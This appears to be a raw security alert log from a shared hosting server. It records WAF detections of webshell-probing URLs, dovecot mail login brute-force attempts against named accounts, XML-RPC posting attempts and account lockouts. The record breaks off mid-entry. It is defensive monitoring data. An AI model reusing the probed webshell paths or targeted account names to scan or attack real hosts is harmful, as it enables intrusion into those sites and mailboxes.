IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/js/demos/master/style-switcher/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/js||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/jquery.validation/img/index.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.227.214.54
country_id: 3469034
description:
2026-01-30 17:19:26 dovecot_plain authenticator failed for H=(E43HFC1) [186.227.214.54]:36819: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.238.237.254
country_id: 1835841
description:
2026-01-30 17:21:00 dovecot_login authenticator failed for H=([211.238.237.254]) [211.238.237.254]:39566: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.41.156.64
country_id: 2017370
description:
2026-01-30 17:20:24 dovecot_login authenticator failed for H=([77.41.156.64]) [77.41.156.64]:57736: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/jquery.gmap/img/photos/product.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Tests/fixtures/resources.ini||User:visoftcom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/jquery-cookie/img/demos/product.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-01-30 17:21:23 dovecot_login authenticator failed for H=([62.220.236.203]) [62.220.236.203]:45986: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.114
country_id: 1149361
description:
2026-01-30 17:21:03 dovecot_login authenticator failed for H=([149.54.62.114]) [149.54.62.114]:55207: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-01-30 17:21:41 dovecot_login authenticator failed for H=([61.37.150.6]) [61.37.150.6]:31440: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.104.179.108
country_id: 1512440
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/mtdowling/cron-expression/CHANGELOG.md HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.gmap/img/master/style-switcher/product.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 143.105.233.36
country_id: 878675
domain: lnlfireprotection.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:11240.lnlfireprotection.com||ServerName:lnlfireprotection.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ee2a187cb252f5095696d81db392723f94ec8aab||Title:0x227df698||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 17:22:25 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:36218: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.104.60
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hotel/9/179/920078 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.225.251
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=19301515566252 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-30 17:22:51 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:45516: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/demos/master/style-switcher/vendor/rs-plugin/js/contact-us.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/img/demos/js/views/contact-us.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-01-30 17:25:35 dovecot_login authenticator failed for H=([128.185.187.2]) [128.185.187.2]:39842: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.164.190
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=806383 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-01-30 17:25:48 dovecot_login authenticator failed for H=(static-ip-1815407040.cable.net.co) [181.54.70.40]:47960: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/jquery.validation/img/product.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 17:26:51 H=(localhost.localdomain) [45.150.192.143]:36148 F=<info@kapkenya.org> temporarily rejected RCPT <jacklim@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.219.154.156
country_id: 2750405
description:
2026-01-30 17:26:31 dovecot_login authenticator failed for H=([103.219.154.156]) [103.219.154.156]:35722: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/owl.carousel/img/demos/master/style-switcher/index.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.100.48
country_id: 1814991
description:
2026-01-30 17:26:07 dovecot_login authenticator failed for H=([36.135.100.47]) [36.135.100.48]:54650: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.136.133.126
country_id: 2510769
description:
2026-01-30 17:27:54 dovecot_login authenticator failed for H=126.red-2-136-133.staticip.rima-tde.net [2.136.133.126]:50302: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-01-30 17:27:57 dovecot_login authenticator failed for H=(49.206.201.253.actcorp.in) [49.206.201.253]:43558: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-30 17:27:05 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:56716: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/modernizr/img/product.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.52.210
country_id: 1269750
description:
2026-01-30 17:27:18 dovecot_login authenticator failed for H=([103.68.52.210]) [103.68.52.210]:53622: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-01-30 17:27:25 dovecot_login authenticator failed for H=(164.199.4.122.broad.wf.sd.dynamic.163data.com.cn) [122.4.199.164]:52721: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-01-30 17:28:11 dovecot_login authenticator failed for H=(aes-static-217.70.22.125.airtel.in) [27.123.101.146]:53356: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/malaysia-infinity-design-projects/images/home/article.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/jquery.lazyload/img/demos/index.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.101.241.44
country_id: 1835841
description:
2026-01-30 17:28:09 dovecot_login authenticator failed for H=([222.101.241.44]) [222.101.241.44]:39846: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.98
country_id: 1269750
description:
2026-01-30 17:28:12 dovecot_login authenticator failed for H=([182.95.215.114]) [125.23.183.98]:49532: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/demos/master/style-switcher/vendor/rs-plugin/js/index.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 123.136.114.11
country_id: 1733045
domain: egbwawasan.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.69||T:APACHE||RA:123.136.114.11||TA:123.136.114.11||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.75.21.177
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/bootstrap/js/img/product.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery/img/photos/master/style-switcher/product.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 145.239.89.234
country_id: 798544
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-01-30 17:32:36 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com ([173.248.234.145]) [69.172.79.198]:61933: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:32:24 dovecot_login authenticator failed for H=(Z1R9gb4PPY) [178.16.54.138]:53675: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 17:32:44 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:47144: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-30 17:32:27 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:46570: 535 Incorrect authentication data (set_id=hr@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-30 17:32:36 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:41322: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 17:33:08 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:44096: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:33:34 dovecot_login authenticator failed for H=(xYHsKE) [178.16.54.138]:57783: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.57.98
country_id: 2921044
description:
2026-01-30 17:33:36 dovecot_login authenticator failed for H=(ADMIN) [212.102.57.98]:1396: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: masaakisb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/masaakisb/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:34:05 dovecot_login authenticator failed for H=(WC1qdO2) [178.16.54.138]:57287: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.59.87
country_id: 1269750
description:
2026-01-30 17:34:34 dovecot_login authenticator failed for H=(abts-north-static-087.59.160.122.airtelbroadband.in) [122.160.59.87]:38916: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:35:35 dovecot_login authenticator failed for H=(ychDA1D) [178.16.54.138]:51110: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 17:35:55 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:57596: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: masaakisb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/masaakisb/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 17:36:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53605: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:36:05 dovecot_login authenticator failed for H=(6upeWQIuwP) [178.16.54.138]:50284: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:37:03 dovecot_login authenticator failed for H=(yghsAhfbl) [178.16.54.138]:64356: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.74.176.28
country_id: 149590
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/oasis.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.16.117
country_id: 1269750
domain: lvconsult.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:test01.lvconsult.com.my||ServerName:lvconsult.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.204.16.227
country_id: 3469034
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/oasis.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 17:37:51 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:58909: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-01-30 17:38:09 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:33144: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.171.146.247
country_id: 2921044
description:
[2026-01-30 17:38:42 +0800] info [cpaneld] 62.171.146.247 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:38:02 dovecot_login authenticator failed for H=(M7fRm1) [178.16.54.138]:55559: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:39:03 dovecot_login authenticator failed for H=(VK6ieHb) [178.16.54.138]:65050: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.120.98
country_id: 1269750
description:
2026-01-30 17:40:26 dovecot_login authenticator failed for H=([59.145.74.209]) [122.184.120.98]:41246: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.4.205.242
country_id: 1814991
description:
2026-01-30 17:40:44 dovecot_login authenticator failed for H=([218.4.205.242]) [218.4.205.242]:43086: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:40:13 dovecot_login authenticator failed for H=(vw2awd) [178.16.54.138]:63649: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.125.124.14
country_id: 3469034
description:
2026-01-30 17:40:59 dovecot_login authenticator failed for H=(vtx-b-124-014.virtex.com.br) [179.125.124.14]:52067: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 17:41:10 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:40508: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:41:09 dovecot_login authenticator failed for H=(rozdEMd) [178.16.54.138]:57552: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 17:41:30 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:48751: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 17:41:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account chuan@tschuan.com has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/Fixtures/common.inc||User:visoftcom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 17:42:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account chuan@tschuan.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 17:42:15 dovecot_login authenticator failed for H=(Y6r27Z8) [178.16.54.138]:63726: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.16.117
country_id: 1269750
domain: lvconsult.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.lvconsult.com.my||ServerName:lvconsult.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/eco.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.66.3.114
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=193141 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.226.240
country_id: 1269750
description:
2026-01-30 17:45:00 dovecot_login authenticator failed for H=(nsg-corporate-240.226.187.122.airtel.in) [122.187.226.240]:47977: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 17:45:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:55005: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.254.54
country_id: 1269750
description:
2026-01-30 17:45:37 dovecot_login authenticator failed for H=([128.185.254.54]) [128.185.254.54]:47590: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-01-30 17:45:11 dovecot_login authenticator failed for H=(122.55.57.177.pldt.net) [210.1.66.154]:49580: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 17:45:16 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:44870: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 17:45:21 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:46528: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 17:45:52 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:59138: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 17:46:12 H=(localhost.localdomain) [45.150.192.143]:35502 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 17:46:05 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:45978: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.163
country_id: 99237
description:
2026-01-30 17:47:33 dovecot_login authenticator failed for H=([65.20.250.163]) [65.20.250.163]:59865: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 17:48:11 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:58205: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 17:48:30 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:53658: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
